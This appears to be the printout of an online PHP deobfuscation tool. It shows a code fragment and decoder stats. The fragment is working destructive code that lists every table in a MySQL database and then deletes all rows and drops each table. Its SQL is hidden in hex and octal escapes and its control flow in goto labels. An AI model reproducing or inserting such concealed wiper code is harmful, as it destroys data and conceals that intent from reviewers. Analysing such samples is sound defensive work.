	$table_list_results = mysqli_query($MYSQLI_LINK, "\123\x48\x4f\x57\x20\124\x41\x42\114\x45\x53");
	xjeEe: 
	if (!($table_list_row = mysqli_fetch_row($table_list_results)))
	{ 
		goto Wvu8M;
	}
	$database_tables_array[] = $table_list_row[0];
	goto xjeEe;
	Wvu8M: 
	if (empty($database_tables_array))
	{
		goto awUWl; 
	} 
	foreach ($database_tables_array as $table_name)
	{ 
	mysqli_query($MYSQLI_LINK, "\x44\x45\114\x45\x54\x45\x20\x46\x52\117\115\x20{$table_name}"); 
	wEPIw:
	} 
	yZ0CH: 
	foreach ($database_tables_array as $table_name) 
	{ 
	mysqli_query($MYSQLI_LINK, "\x44\x52\117\120\x20\x54\x41\x42\114\105\40{$table_name}"); 
	G1w0E: 
	} 
	OzxI2: 
	awUWl: 
	WRE7D: 
	exit; 
}

Function Calls

None

Variables

None

Stats

MD5 ae7b547a94a858a5608a53fe980298ca
Eval Count 0
Decode Time 97 ms